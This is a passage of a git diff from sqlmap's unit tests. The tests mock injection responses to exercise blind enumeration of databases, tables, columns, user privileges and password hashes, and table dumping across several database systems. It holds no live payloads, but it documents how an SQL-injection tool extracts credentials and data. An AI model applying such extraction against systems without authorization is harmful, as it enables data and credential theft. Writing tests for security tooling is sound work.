cols=("id", "name")): + e = _TestEntriesInf() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + def test_dump_table_inference_column_pivot(self): + # Blind dump (conf.direct=False, BOOLEAN available): a row count, then one + # value per (index, column). Assert the per-column pivoted values match. + set_dbms("MySQL") + e = self._entries(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + # data[index][column] -> value. 2 rows, columns id/name. + data = {0: {"id": "1", "name": "alice"}, 1: {"id": "2", "name": "bob"}} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return "2" # row count + # MySQL blind cell query: 'SELECT FROM testdb.users ORDER BY ... + # LIMIT ,1'. The row index is the LIMIT offset; the column is the + # SELECT projection. + import re as _re + idx = int(_re.search(r"LIMIT\s+(\d+)\s*,\s*1", query).group(1)) + proj = query.split(" FROM ", 1)[0] + col = "name" if "name" in proj else "id" + return data[idx][col] + + emod.inject.getValue = gv + e.dumpTable() + dumped = conf.dumper.tableValues[-1] + self.assertEqual(dumped["__infos__"]["count"], 2) + self.assertEqual(list(dumped["id"]["values"]), ["1", "2"]) + self.assertEqual(list(dumped["name"]["values"]), ["alice", "bob"]) + + def test_dump_table_inference_empty_table(self): + # A zero row count in the inference path yields empty per-column value + # lists and no dbTableValues emission (dumpedTable stays effectively empty). + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + emod.inject.getValue = lambda query, *a, **k: ("0" if k.get("expected") == EXPECTED.INT else self.fail("must not fetch cells for empty table")) + e.dumpTable() + # count 0 => empty entries => nothing dumped + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_inference_count_failure_skips(self): + # A non-numeric count in the inference path => the table is skipped with a + # warning, no values dumped. + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return None # count failed + self.fail("must not fetch cells when count failed") + + emod.inject.getValue = gv + e.dumpTable() + self.assertEqual(conf.dumper.tableValues, []) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_filesystem.py b/tests/test_filesystem.py index bcf6da6a4..70b6192e1 100644 --- a/tests/test_filesystem.py +++ b/tests/test_filesystem.py @@ -33,7 +33,6 @@ bootstrap() from lib.core.data import conf, kb from lib.core.convert import encodeHex, encodeBase64, getText -from lib.core.enums import PAYLOAD # --------------------------------------------------------------------------- # diff --git a/tests/test_generic_enum_more.py b/tests/test_generic_enum_more.py deleted file mode 100644 index 683a459b7..000000000 --- a/tests/test_generic_enum_more.py +++ /dev/null @@ -1,865 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Additional unit tests for the generic enumeration mixins, deliberately targeting -branches NOT already exercised by tests/test_databases_enum.py, -tests/test_users_enum.py, tests/test_search_enum.py and tests/test_generic_more.py -(which cover the conf.direct INBAND happy paths). - -This file drives the OTHER branches: - - * plugins/generic/databases.py - the INFERENCE paths (conf.direct=False + - isInferenceAvailable via kb.injection BOOLEAN state: count -> per-row getValue), - the MSSQL inband-paging fallback in getDbs(), getColumns onlyColNames / dumpMode, - the getColumns MySQL<5 / ACCESS bruteforce fallback, getCount over cachedTables, - and getStatements/getProcedures empty/none branches. - * plugins/generic/users.py - getPrivileges role/grant parsing per DBMS in BOTH the - inband path (PGSQL digit columns, MySQL<5 Y/N, Firebird letters, DB2 grant codes) - and the INFERENCE path (count then per-index privilege), getPasswordHashes - grouping/dedup in the inference path, getUsers inference, isDba MSSQL. - * plugins/generic/entries.py - dumpTable INFERENCE path (count -> column-pivot via - per-(index,column) getValue), the empty-table branch, the count-failure skip, - and the resolveKeysetCursor disabling via conf.noKeyset. - * plugins/generic/search.py - searchDb / searchTable / searchColumn INFERENCE - paths (count then per-index getValue), and the MySQL<5 bruteforce branch of - searchTable / searchColumn. - -Recipe (proven in tests/test_databases_enum.py): patch the module's inject.getValue -with canned rows in the EXACT shape the branch parses; for inference branches return -a positive int for EXPECTED.INT count calls then the per-row/per-index values; set the -needed kb.data flags; assert the exact resulting structure (sorted lists, -{db:{tbl:{col:type}}} dicts, privilege sets, dumpedTable values). - -CRITICAL STATE HYGIENE: every test snapshots and restores conf.*, the patched -inject.getValue (per module), kb.data.cached*, kb.hintValue, kb.injection.data, -Backend/forcedDbms in tearDown so nothing leaks into the rest of the suite. -""" - -import os -import sys -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms - -bootstrap() - -from lib.core.data import conf, kb -from lib.core.enums import EXPECTED, PAYLOAD - -import plugins.generic.databases as dbmod -import plugins.generic.users as umod -import plugins.generic.search as smod -import plugins.generic.entries as emod -from plugins.generic.databases import Databases -from plugins.generic.users import Users -from plugins.generic.search import Search -from plugins.generic.entries import Entries - -_NOOP = lambda self: None - - -def _inference_gv(count, sequence): - """Build an inject.getValue stub for blind inference branches. - - Returns `count` (as str) whenever the caller asks for EXPECTED.INT, otherwise - yields the next item from `sequence` wrapped as a single-cell row ([value]), - cycling if exhausted. This mirrors the count-then-per-row contract of every - isInferenceAvailable() branch. - """ - state = {"i": 0} - - def gv(query, *a, **k): - if k.get("expected") == EXPECTED.INT: - return str(count) - val = sequence[state["i"] % len(sequence)] - state["i"] += 1 - return [val] - - return gv - - -# --------------------------------------------------------------------------- # -# databases.py -# --------------------------------------------------------------------------- # - -class _DbBase(unittest.TestCase): - _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", - "getComments", "excludeSysDbs", "search", "freshQueries") - - def setUp(self): - self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} - self._saved_getValue = dbmod.inject.getValue - self._saved_checkBool = dbmod.inject.checkBooleanExpression - self._saved_injection_data = kb.injection.data - self._saved_has_is = kb.data.get("has_information_schema") - self._saved_hintValue = kb.get("hintValue") - self._saved_choices = dict(kb.choices) - self._saved_readInput = dbmod.readInput - self._saved_forceDbmsEnum = getattr(Databases, "forceDbmsEnum", None) - Databases.forceDbmsEnum = _NOOP - - conf.getComments = False - conf.excludeSysDbs = False - conf.exclude = None - conf.search = False - conf.freshQueries = False - conf.col = None - kb.data.has_information_schema = True - - def tearDown(self): - for k, v in self._saved_conf.items(): - conf[k] = v - dbmod.inject.getValue = self._saved_getValue - dbmod.inject.checkBooleanExpression = self._saved_checkBool - dbmod.readInput = self._saved_readInput - kb.injection.data = self._saved_injection_data - kb.data.has_information_schema = self._saved_has_is - kb.hintValue = self._saved_hintValue - kb.choices.clear() - kb.choices.update(self._saved_choices) - if self._saved_forceDbmsEnum is not None: - Databases.forceDbmsEnum = self._saved_forceDbmsEnum - else: - try: - del Databases.forceDbmsEnum - except AttributeError: - pass - - def _fresh(self): - d = Databases() - kb.data.currentDb = "" - kb.data.cachedDbs = [] - kb.data.cachedTables = {} - kb.data.cachedColumns = {} - kb.data.cachedCounts = {} - kb.data.cachedStatements = [] - kb.data.cachedProcedures = [] - return d - - def _inference(self): - conf.direct = False - conf.technique = None - kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} - - -class TestDatabasesInference(_DbBase): - def test_get_columns_inference_pgsql_types(self): - # Blind column enumeration on PostgreSQL: a count, then for each index a - # column name followed by its type. Assert the {db:{tbl:{col:type}}} parse. - set_dbms("PostgreSQL") - self._inference() - d = self._fresh() - conf.db = "public" - conf.tbl = "users" - - names = ["id", "email"] - state = {"i": 0, "name": True} - - def gv(query, *a, **k): - if k.get("expected") == EXPECTED.INT: - return str(len(names)) - if state["name"]: - val = names[state["i"] % len(names)] - state["i"] += 1 - state["name"] = False - return [val] - state["name"] = True - return ["integer"] - - dbmod.inject.getValue = gv - result = d.getColumns() - cols = result["public"]["users"] - self.assertEqual(len(cols), 2) - self.assertEqual(cols.get("id"), "integer") - - def test_get_columns_inference_dump_mode_collist(self): - # dumpMode with an explicit conf.col list: in the inference branch the - # columns are taken straight from colList (no count/type queries at all) - # and stored with value None. Asserting no getValue ran proves the - # dump-mode shortcut, not a network round-trip. - set_dbms("MySQL") - self._inference() - d = self._fresh() - conf.db = "testdb" - conf.tbl = "users" - conf.col = "id,name" - - def boom(*a, **k): - raise AssertionError("dumpMode+colList must not query in inference branch") - - dbmod.inject.getValue = boom - result = d.getColumns(dumpMode=True) - cols = result["testdb"]["users"] - # "name" is a reserved word -> safeSQLIdentificatorNaming backtick-quotes it; - # both columns must be present (count, since exact key varies by quoting). - self.assertEqual(len(cols), 2) - self.assertIn("id", cols) - self.assertIsNone(cols.get("id")) - - def test_get_count_over_cached_tables_inference(self): - # getCount with no conf.tbl: it calls getTables() then per-table _tableGetCount. - # Drive the inband table fetch + per-table count and assert the - # {db:{count:[tables]}} grouping (tables sharing a count are grouped). - set_dbms("MySQL") - conf.direct = True - d = self._fresh() - conf.db = "testdb" - conf.tbl = None - kb.data.cachedTables = {"testdb": ["users", "posts"]} - - counts = {"users": "5", "posts": "5"} - - def gv(query, *a, **k): - for t, c in counts.items(): - if t in query: - return c - return "0" - - dbmod.inject.getValue = gv - result = d.getCount() - # both tables have count 5 -> grouped under the same key - self.assertEqual(sorted(result["testdb"][5]), ["posts", "users"]) - - def test_get_statements_count_zero_returns_empty(self): - # Inference path: a zero count short-circuits to the (empty) cache. - set_dbms("PostgreSQL") - self._inference() - d = self._fresh() - # getStatements compares the count with the int literal 0 (count == 0), so - # the count stub must return an int 0 (not "0") to take the empty branch. - dbmod.inject.getValue = lambda query, *a, **k: 0 if k.get("expected") == EXPECTED.INT else self.fail("must not fetch rows when count is 0") - result = d.getStatements() - self.assertEqual(result, []) - - def test_get_procedures_inference(self): - set_dbms("PostgreSQL") - self._inference() - d = self._fresh() - dbmod.inject.getValue = _inference_gv(2, ["sp_a", "sp_b"]) - result = d.getProcedures() - self.assertEqual(sorted(result), ["sp_a", "sp_b"]) - - def test_get_dbs_mssql_inband_paging(self): - # MSSQL with no rows from the primary query falls into the query2 paging - # loop (one indexed query per db until a blank value stops it). - set_dbms("Microsoft SQL Server") - conf.direct = True - d = self._fresh() - dbs = ["master", "model"] - - def gv(query, *a, **k): - # The primary inband query is 'SELECT name FROM master..sysdatabases' - # (no DB_NAME); make it return nothing so getDbs falls into the - # 'SELECT DB_NAME()' paging loop (query2). - if "DB_NAME" not in query: - return None - import re as _re - idx = int(_re.findall(r"DB_NAME\((\d+)\)", query)[0]) - return dbs[idx] if idx < len(dbs) else "" - - dbmod.inject.getValue = gv - result = d.getDbs() - self.assertEqual(sorted(result), ["master", "model"]) - - def test_get_tables_inference_grouped_per_db(self): - # Blind table enumeration: count for the db, then one table name per index. - set_dbms("MySQL") - self._inference() - d = self._fresh() - conf.db = "shop" - conf.tbl = None - dbmod.inject.getValue = _inference_gv(2, ["orders", "items"]) - result = d.getTables() - self.assertIn("shop", result) - self.assertEqual(sorted(result["shop"]), ["items", "orders"]) - - -class TestDatabasesBruteForce(_DbBase): - def test_get_columns_mysql_lt5_bruteforce_decline(self): - # MySQL < 5 (no information_schema) forces bruteForce in getColumns; with - # the common-column-existence prompt answered 'N' it returns None without - # issuing any column query. - set_dbms("MySQL") - conf.direct = True - d = self._fresh() - conf.db = "testdb" - conf.tbl = "users" - kb.data.has_information_schema = False - kb.choices.columnExists = None - dbmod.readInput = lambda *a, **k: "N" - - def boom(*a, **k): - raise AssertionError("bruteForce decline must not query columns") - - dbmod.inject.getValue = boom - result = d.getColumns() - self.assertIsNone(result) - - def test_get_columns_bruteforce_dumpmode_collist_on_decline(self): - # bruteForce + decline + dumpMode + colList: the columns from colList are - # stored with None type (the dump-mode salvage branch), not dropped. - set_dbms("MySQL") - conf.direct = True - d = self._fresh() - conf.db = "testdb" - conf.tbl = "users" - conf.col = "a,b" - kb.data.has_information_schema = False - kb.choices.columnExists = None - dbmod.readInput = lambda *a, **k: "N" - dbmod.inject.getValue = lambda *a, **k: None - result = d.getColumns(dumpMode=True) - cols = result["testdb"]["users"] - self.assertEqual(sorted(cols.keys()), ["a", "b"]) - self.assertIsNone(cols.get("a")) - - -# --------------------------------------------------------------------------- # -# users.py -# --------------------------------------------------------------------------- # - -class _UsersBase(unittest.TestCase): - def setUp(self): - self._direct = conf.direct - self._technique = conf.technique - self._user = conf.user - self._gv = umod.inject.getValue - self._cbe = umod.inject.checkBooleanExpression - self._store = umod.storeHashesToFile - self._attack = umod.attackCachedUsersPasswords - self._readInput = umod.readInput - self._his = kb.data.get("has_information_schema") - self._injection_data = kb.injection.data - - set_dbms("MySQL") - conf.direct = True - conf.user = None - kb.data.has_information_schema = True - - umod.storeHashesToFile = lambda *a, **k: None - umod.attackCachedUsersPasswords = lambda *a, **k: None - umod.readInput = lambda *a, **k: "N" - - def tearDown(self): - conf.direct = self._direct - conf.technique = self._technique - conf.user = self._user - umod.inject.getValue = self._gv - umod.inject.checkBooleanExpression = self._cbe - umod.storeHashesToFile = self._store - umod.attackCachedUsersPasswords = self._attack - umod.readInput = self._readInput - kb.injection.data = self._injection_data - if self._his is None: - kb.data.pop("has_information_schema", None) - else: - kb.data.has_information_schema = self._his - - def _inference(self): - conf.direct = False - conf.technique = None - kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} - - -class TestUsersPrivilegesInband(_UsersBase): - def test_privileges_pgsql_multiple_digit_columns(self): - # PostgreSQL: privilege columns are digit flags; a column index maps to - # PGSQL_PRIVS only when its value is "1". Set createdb(1)=1 and super(2)=1, - # leave the rest 0; assert exactly those two privileges are parsed and that - # "super" makes the user an admin. - set_dbms("PostgreSQL") - from lib.core.dicts import PGSQL_PRIVS - ncols = max(PGSQL_PRIVS.keys()) - row = ["pguser"] + ["0"] * ncols - row[1] = "1" # createdb - row[2] = "1" # super - umod.inject.getValue = lambda query, *a, **k: [row] - users = Users() - kb.data.cachedUsersPrivileges = {} - privileges, areAdmins = users.getPrivileges() - self.assertEqual(set(privileges["pguser"]), {PGSQL_PRIVS[1], PGSQL_PRIVS[2]}) - self.assertIn("pguser", areAdmins) - - def test_privileges_mysql_lt5_yn_flags(self): - # MySQL < 5 (no information_schema): privilege columns are 'Y'/'N' flags - # mapped to MYSQL_PRIVS by column position. Y in col 1 -> select_priv. - set_dbms("MySQL") - from lib.core.dicts import MYSQL_PRIVS - kb.data.has_information_schema = False - ncols = max(MYSQL_PRIVS.keys()) - row = ["root"] + ["N"] * ncols - row[1] = "Y" # select_priv - row[3] = "Y" # update_priv - umod.inject.getValue = lambda query, *a, **k: [row] - users = Users() - kb.data.cachedUsersPrivileges = {} - privileges, areAdmins = users.getPrivileges() - self.assertIn(MYSQL_PRIVS[1], privileges["root"]) - self.assertIn(MYSQL_PRIVS[3], privileges["root"]) - self.assertNotIn(MYSQL_PRIVS[2], privileges["root"]) - - def test_privileges_firebird_letter_codes(self): - # Firebird: each privilege is a single letter mapped via FIREBIRD_PRIVS. - set_dbms("Firebird") - from lib.core.dicts import FIREBIRD_PRIVS - umod.inject.getValue = lambda query, *a, **k: [["fbuser", "S"], ["fbuser", "I"]] - users = Users() - kb.data.cachedUsersPrivileges = {} - privileges, areAdmins = users.getPrivileges() - self.assertEqual(set(privileges["fbuser"]), - {FIREBIRD_PRIVS["S"], FIREBIRD_PRIVS["I"]}) - - def test_privileges_db2_grant_codes(self): - # DB2: privilege string is ","; each 'Y'/'G' letter at - # position i appends the DB2_PRIVS[i] name to the privilege. - set_dbms("DB2") - from lib.core.dicts import DB2_PRIVS - conf.user = "db2admin" - # "DBADM" plus a grant string whose first letter (position 1) is 'Y' -> - # DB2_PRIVS[1] ("CONTROLAUTH") is appended. - umod.inject.getValue = lambda query, *a, **k: [["DB2ADMIN", "DBADM,Y"]] - users = Users() - kb.data.cachedUsersPrivileges = {} - privileges, areAdmins = users.getPrivileges() - joined = " ".join(privileges["DB2ADMIN"]) - self.assertIn("DBADM", joined) - self.assertIn(DB2_PRIVS[1], joined) - - -class TestUsersPrivilegesInference(_UsersBase): - def test_privileges_inference_mysql(self): - # Blind privilege enumeration for a named user: count, then one privilege - # string per index. MySQL >= 5 adds each verbatim. - set_dbms("MySQL") - self._inference() - conf.user = "root" - privs = ["SELECT", "SUPER"] - umod.inject.getValue = _inference_gv(2, privs) - users = Users() - kb.data.cachedUsersPrivileges = {} - privileges, areAdmins = users.getPrivileges() - # the user key is wildcard-wrapped for the MySQL information_schema LIKE - key = [k for k in privileges if "root" in k][0] - self.assertEqual(set(privileges[key]), {"SELECT", "SUPER"}) - self.assertTrue(areAdmins) # SUPER => admin - - def test_privileges_inference_oracle(self): - set_dbms("Oracle") - self._inference() - conf.user = "system" - umod.inject.getValue = _inference_gv(1, ["DBA"]) - users = Users() - kb.data.cachedUsersPrivileges = {} - privileges, areAdmins = users.getPrivileges() - self.assertIn("SYSTEM", privileges) - self.assertEqual(privileges["SYSTEM"], ["DBA"]) - self.assertIn("SYSTEM", areAdmins) - - -class TestUsersPasswordHashesInference(_UsersBase): - def test_password_hashes_inference_grouping(self): - # Blind password-hash enumeration for two users: per-user count, then one - # hash per index. Assert each user maps to its own hash list. - set_dbms("MySQL") - self._inference() - conf.user = "root,guest" - - # per-user single hash; count is 1 for every user - hashes = {"root": "*ROOTHASH", "guest": "*GUESTHASH"} - - def gv(query, *a, **k): - if k.get("expected") == EXPECTED.INT: - return "1" - for u, h in hashes.items(): - if u in query: - return [h] - return [None] - - umod.inject.getValue = gv - users = Users() - kb.data.cachedUsersPasswords = {} - res = users.getPasswordHashes() - self.assertEqual(res["root"], ["*ROOTHASH"]) - self.assertEqual(res["guest"], ["*GUESTHASH"]) - - def test_password_hashes_inference_dedup(self): - # The same hash returned twice for a user must be de-duplicated at the end - # (kb.data.cachedUsersPasswords[user] = list(set(...))). - set_dbms("MySQL") - self._inference() - conf.user = "root" - umod.inject.getValue = _inference_gv(2, ["*DUP", "*DUP"]) - users = Users() - kb.data.cachedUsersPasswords = {} - res = users.getPasswordHashes() - self.assertEqual(res["root"], ["*DUP"]) - - -class TestUsersGetUsersInference(_UsersBase): - def test_get_users_inference(self): - set_dbms("MySQL") - self._inference() - umod.inject.getValue = _inference_gv(2, ["root@localhost", "guest@%"]) - users = Users() - kb.data.cachedUsers = [] - res = users.getUsers() - self.assertEqual(sorted(res), ["guest@%", "root@localhost"]) - - def test_is_dba_mssql(self): - # MSSQL isDba goes through the generic checkBooleanExpression branch. - set_dbms("Microsoft SQL Server") - umod.inject.checkBooleanExpression = lambda query, *a, **k: True - users = Users() - kb.data.isDba = None - self.assertTrue(users.isDba()) - - -# --------------------------------------------------------------------------- # -# entries.py - inference (blind) dump path -# --------------------------------------------------------------------------- # - -class _RecordingDumper(object): - def __init__(self): - self.tableValues = [] - - def dbTableValues(self, tableValues): - self.tableValues.append(tableValues) - - -class _TestEntries(Entries): - def __init__(self): - Entries.__init__(self) - self.getColumnsResult = {} - self.getTablesResult = {} - - def forceDbmsEnum(self): - pass - - def getCurrentDb(self): - return "testdb" - - def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): - kb.data.cachedColumns = dict(self.getColumnsResult) - - def getTables(self, bruteForce=None): - kb.data.cachedTables = dict(self.getTablesResult) - - -class _EntriesBase(unittest.TestCase): - _CONF_KEYS = ("db", "tbl", "col", "direct", "technique", "exclude", "search", - "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere") - - def setUp(self): - self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} - self._saved_dumper = conf.get("dumper") - self._gv = emod.inject.getValue - self._cbe = emod.inject.checkBooleanExpression - self._readInput = emod.readInput - self._saved_has_is = kb.data.get("has_information_schema") - self._saved_cachedColumns = kb.data.get("cachedColumns") - self._saved_cachedTables = kb.data.get("cachedTables") - self._saved_dumpedTable = kb.data.get("dumpedTable") - self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") - self._saved_permissionFlag = kb.get("permissionFlag") - self._saved_injection_data = kb.injection.data - - set_dbms("MySQL") - conf.direct = False - conf.technique = None - conf.exclude = None - conf.search = False - conf.disableHashing = True - conf.noKeyset = True - conf.keyset = False - conf.forcePivoting = False - conf.dumpWhere = None - conf.dumper = _RecordingDumper() - - kb.data.has_information_schema = True - kb.data.cachedColumns = {} - kb.data.cachedTables = {} - kb.data.dumpedTable = {} - kb.dumpKeyboardInterrupt = False - kb.permissionFlag = False - kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} - - emod.readInput = lambda *a, **k: (k.get("default") if k.get("default") is not None else (a[1] if len(a) > 1 else None)) - - def tearDown(self): - for k, v in self._saved_conf.items(): - conf[k] = v - conf.dumper = self._saved_dumper - emod.inject.getValue = self._gv - emod.inject.checkBooleanExpression = self._cbe - emod.readInput = self._readInput - kb.data.has_information_schema = self._saved_has_is - kb.data.cachedColumns = self._saved_cachedColumns - kb.data.cachedTables = self._saved_cachedTables - kb.data.dumpedTable = self._saved_dumpedTable - kb.dumpKeyboardInterrupt = self._saved_dumpKbInt - kb.permissionFlag = self._saved_permissionFlag - kb.injection.data = self._saved_injection_data - - -class TestEntriesInference(_EntriesBase): - def _entries(self, db="testdb", tbl="users", cols=("id", "name")): - e = _TestEntries() - e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} - return e - - def test_dump_table_inference_column_pivot(self): - # Blind dump (conf.direct=False, BOOLEAN available): a row count, then one - # value per (index, column). Assert the per-column pivoted values match. - set_dbms("MySQL") - e = self._entries(cols=("id", "name")) - conf.db = "testdb" - conf.tbl = "users" - conf.col = None - - # data[index][column] -> value. 2 rows, columns id/name. - data = {0: {"id": "1", "name": "alice"}, 1: {"id": "2", "name": "bob"}} - - def gv(query, *a, **k): - if k.get("expected") == EXPECTED.INT: - return "2" # row count - # MySQL blind cell query: 'SELECT FROM testdb.users ORDER BY ... - # LIMIT ,1'. The row index is the LIMIT offset; the column is the - # SELECT projection. - import re as _re - idx = int(_re.search(r"LIMIT\s+(\d+)\s*,\s*1", query).group(1)) - proj = query.split(" FROM ", 1)[0] - col = "name" if "name" in proj else "id" - return data[idx][col] - - emod.inject.getValue = gv - e.dumpTable() - dumped = conf.dumper.tableValues[-1] - self.assertEqual(dumped["__infos__"]["count"], 2) - self.assertEqual(list(dumped["id"]["values"]), ["1", "2"]) - self.assertEqual(list(dumped["name"]["values"]), ["alice", "bob"]) - - def test_dump_table_inference_empty_table(self): - # A zero row count in the inference path yields empty per-column value - # lists and no dbTableValues emission (dumpedTable stays effectively empty). - set_dbms("MySQL") - e = self._entries(cols=("id",)) - conf.db = "testdb" - conf.tbl = "users" - conf.col = None - - emod.inject.getValue = lambda query, *a, **k: ("0" if k.get("expected") == EXPECTED.INT else self.fail("must not fetch cells for empty table")) - e.dumpTable() - # count 0 => empty entries => nothing dumped - self.assertEqual(conf.dumper.tableValues, []) - - def test_dump_table_inference_count_failure_skips(self): - # A non-numeric count in the inference path => the table is skipped with a - # warning, no values dumped. - set_dbms("MySQL") - e = self._entries(cols=("id",)) - conf.db = "testdb" - conf.tbl = "users" - conf.col = None - - def gv(query, *a, **k): - if k.get("expected") == EXPECTED.INT: - return None # count failed - self.fail("must not fetch cells when count failed") - - emod.inject.getValue = gv - e.dumpTable() - self.assertEqual(conf.dumper.tableValues, []) - - -# --------------------------------------------------------------------------- # -# search.py - inference (blind) paths -# --------------------------------------------------------------------------- # - -class _TestSearch(Search): - excludeDbsList = ["information_schema", "mysql"] - - def __init__(self): - Search.__init__(self) - self.like = ('2', "='%s'") # exact match (colConsider '2') - self.dumpFoundTablesCalls = [] - self.dumpFoundColumnCalls = [] - - def likeOrExact(self, what): - return self.like - - def forceDbmsEnum(self): - pass - - def getCurrentDb(self): - return "testdb" - - def dumpFoundTables(self, tables): - self.dumpFoundTablesCalls.append(tables) - - def dumpFoundColumn(self, dbs, foundCols, colConsider): - self.dumpFoundColumnCalls.append((dbs, foundCols, colConsider)) - - def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): - db, tbl, col = conf.db, conf.tbl, conf.col - if db and tbl: - kb.data.cachedColumns.setdefault(db, {}).setdefault(tbl, {}) - kb.data.cachedColumns[db][tbl][col] = "varchar" - - -class _RecDumper(object): - def __init__(self): - self.listed = [] - self.dbTablesArg = None - self.dbColumnsArg = None - - def lister(self, header, elements, content_type=None, sort=True): - self.listed.append((header, list(elements) if elements else [])) - - def dbTables(self, dbTables): - self.dbTablesArg = dbTables - - def dbColumns(self, dbColumnsDict, colConsider, dbs): - self.dbColumnsArg = (dbColumnsDict, colConsider, dbs) - - -class _SearchBase(unittest.TestCase): - _CONF_KEYS = ("db", "tbl", "col", "direct", "technique", "excludeSysDbs", - "exclude", "search") - - def setUp(self): - self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} - self._saved_dumper = conf.get("dumper") - self._gv = smod.inject.getValue - self._readInput = smod.readInput - self._saved_has_is = kb.data.get("has_information_schema") - self._saved_cachedColumns = kb.data.get("cachedColumns") - self._saved_hintValue = kb.get("hintValue") - self._saved_injection_data = kb.injection.data - - set_dbms("MySQL") - conf.direct = False - conf.technique = None - conf.excludeSysDbs = False - conf.exclude = None - conf.search = True - conf.dumper = _RecDumper() - - kb.data.has_information_schema = True - kb.data.cachedColumns = {} - kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} - - def tearDown(self): - for k, v in self._saved_conf.items(): - conf[k] = v - conf.dumper = self._saved_dumper - smod.inject.getValue = self._gv - smod.readInput = self._readInput - kb.data.has_information_schema = self._saved_has_is - kb.data.cachedColumns = self._saved_cachedColumns - kb.hintValue = self._saved_hintValue - kb.injection.data = self._saved_injection_data - - -class TestSearchInference(_SearchBase): - def test_search_db_inference(self): - # Blind searchDb: count of matching dbs, then one db name per index. - s = _TestSearch() - conf.db = "testdb" - smod.inject.getValue = _inference_gv(2, ["testdb", "testdb2"]) - s.searchDb() - self.assertEqual(conf.dumper.listed[-1][0], "found databases") - self.assertEqual(sorted(conf.dumper.listed[-1][1]), ["testdb", "testdb2"]) - - def test_search_db_inference_no_match(self): - # Count fails (non-numeric) => no databases appended, empty listing. - s = _TestSearch() - conf.db = "ghost" - smod.inject.getValue = lambda query, *a, **k: (None if k.get("expected") == EXPECTED.INT else self.fail("must not page when count fails")) - s.searchDb() - self.assertEqual(conf.dumper.listed[-1][1], []) - - def test_search_table_inference_grouped(self): - # Blind searchTable, no conf.db: outer count of dbs holding the table, then - # per-db a name, then per-db a count of matching tables, then table names. - s = _TestSearch() - conf.tbl = "users" - conf.db = None - - # Sequencing by the EXPECTED.INT counts + the per-index string results. - # 1st count: number of databases with the table -> 1 - # 1st db name -> "testdb" - # 2nd count: number of tables in testdb -> 1 - # table name -> "users" - seq = {"counts": ["1", "1"], "ci": 0, "vals": ["testdb", "users"], "vi": 0} - - def gv(query, *a, **k): - if k.get("expected") == EXPECTED.INT: - v = seq["counts"][seq["ci"] % len(seq["counts"])] - seq["ci"] += 1 - return v - v = seq["vals"][seq["vi"] % len(seq["vals"])] - seq["vi"] += 1 - return [v] - - smod.inject.getValue = gv - s.searchTable() - self.assertEqual(conf.dumper.dbTablesArg, {"testdb": ["users"]}) - self.assertEqual(s.dumpFoundTablesCalls[-1], {"testdb": ["users"]}) - - def test_search_table_mysql_lt5_bruteforce_decline(self): - # MySQL < 5 forces the bruteforce path; declining the prompt returns None - # without any injection. - s = _TestSearch() - conf.tbl = "users" - conf.db = None - kb.data.has_information_schema = False - smod.readInput = lambda *a, **k: "N" - smod.inject.getValue = lambda *a, **k: self.fail("bruteforce decline must not query") - self.assertIsNone(s.searchTable()) - - def test_search_column_inference(self): - # Blind searchColumn, no db/tbl: count of dbs with the column, then db name; - # then per-db count of tables with the column, then table name -> getColumns - # folds the column into dbs. - s = _TestSearch() - conf.col = "password" - conf.db = None - conf.tbl = None - - seq = {"counts": ["1", "1"], "ci": 0, "vals": ["testdb", "users"], "vi": 0} - - def gv(query, *a, **k): - if k.get("expected") == EXPECTED.INT: - v = seq["counts"][seq["ci"] % len(seq["counts"])] - seq["ci"] += 1 - return v - v = seq["vals"][seq["vi"] % len(seq["vals"])] - seq["vi"] += 1 - return [v] - - smod.inject.getValue = gv - s.searchColumn() - dbs = conf.dumper.dbColumnsArg[2] - self.assertIn("testdb", dbs) - self.assertIn("users", dbs["testdb"]) - self.assertIn("password", dbs["testdb"]["users"]) - - def test_search_column_mysql_lt5_bruteforce_decline(self): - s = _TestSearch() - conf.col = "password" - conf.db = None - conf.tbl = None - kb.data.has_information_schema = False - smod.readInput = lambda *a, **k: "N" - smod.inject.getValue = lambda *a, **k: self.fail("bruteforce decline must not query") - # Declining returns None and never reaches dbColumns. - self.assertIsNone(s.searchColumn()) - self.assertIsNone(conf.dumper.dbColumnsArg) - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_generic_more.py b/tests/test_generic_takeover.py similarity index 66% rename from tests/test_generic_more.py rename to tests/test_generic_takeover.py index 00bcd0c8d..f78aaa697 100644 --- a/tests/test_generic_more.py +++ b/tests/test_generic_takeover.py @@ -4,14 +4,8 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission -Additional unit tests for the generic plugin mixins, driving branches NOT already -covered by tests/test_search_enum.py / tests/test_databases_enum.py: +Unit tests for the generic plugin mixins covering: - * plugins/generic/entries.py - dumpTable column/table --exclude filtering, the - --where (conf.dumpWhere) query rewrite, disableHashing toggle, METADB suffix - db handling, the "no usable columns" / "missing columns" skip branches, and - dumpAll over multiple dbs/tables (dict and list shapes) plus dumpFoundTables / - dumpFoundColumn interactive flows. 